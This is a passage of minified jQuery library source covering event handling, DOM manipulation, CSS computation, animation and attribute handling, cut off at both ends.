0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Se(this,e,Ce),!1},trigger:function(){return Se(this,e),!0},_default:function(){return!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return Ee(this,e,t,n,r)},one:function(e,t,n,r){return Ee(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){S.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Me=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ie=new RegExp(ne.join("|"),"i");function We(e,t,n){var r,i,o,a,s=e.style;return(n=n||Re(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Pe.test(a)&&Ie.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function Fe(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var Be=["Webkit","Moz","ms"],$e=E.createElement("div").style,_e={};function ze(e){var t=S.cssProps[e]||_e[e];return t||(e in $e?e:_e[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Be.length;while(n--)if((e=Be[n]+t)in $e)return e}(e)||e)}var Ue=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Ge={letterSpacing:"0",fontWeight:"400"};function Ye(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Qe(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Je(e,t,n){var r=Re(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=We(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Qe(e,t,n||(i?"border":"content"),o,r,a)+"px"}function Ke(e,t,n,r,i){return new Ke.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=We(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Xe.test(t),l=e.style;if(u||(t=ze(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Xe.test(t)||(t=ze(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=We(e,t,r)),"normal"===i&&t in Ge&&(i=Ge[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ue.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Je(e,u,n):Me(e,Ve,function(){return Je(e,u,n)})},set:function(e,t,n){var r,i=Re(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Qe(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Qe(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Ye(0,t,s)}}}),S.cssHooks.marginLeft=Fe(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(We(e,"marginLeft"))||e.getBoundingClientRect().left-Me(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Ye)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Re(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=Ke).prototype={constructor:Ke,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=Ke.propHooks[this.prop];return e&&e.get?e.get(this):Ke.propHooks._default.get(this)},run:function(e){var t,n=Ke.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ke.propHooks._default.set(this),this}}).init.prototype=Ke.prototype,(Ke.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[ze(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Ke.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=Ke.prototype.init,S.fx.step={};var Ze,et,tt,nt,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function ot(){et&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(ot):C.setTimeout(ot,S.fx.interval),S.fx.tick())}function at(){return C.setTimeout(function(){Ze=void 0}),Ze=Date.now()}function st(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ut(e,t,n){for(var r,i=(lt.tweeners[t]||[]).concat(lt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function lt(o,e,t){var n,a,r=0,i=lt.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=Ze||at(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||at(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=lt.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ut,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(lt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],lt.tweeners[n]=lt.tweeners[n]||[],lt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],rt.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ut(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?lt.prefilters.unshift(e):lt.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=lt(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&it.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(st(r,!0),e,t,n)}}),S.each({slideDown:st("show"),slideUp:st("hide"),slideToggle:st("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(Ze=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),Ze=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){et||(et=!0,ot())},S.fx.stop=function(){et=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},tt=E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),ct={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=ft[t]||S.find.attr;ft[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=ft[o],ft[o]=r,r=null!=a(e,t,n)?o:null,ft[o]=i),r}});var pt=/^(?:input|select|textarea|button)$/i,dt=/^(?:a|area)$/i;function ht(e){return(e.match(P)||[]).join(" ")}function gt(e){return e.getAttribute&&e.getAttribute("class")||""}function vt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return 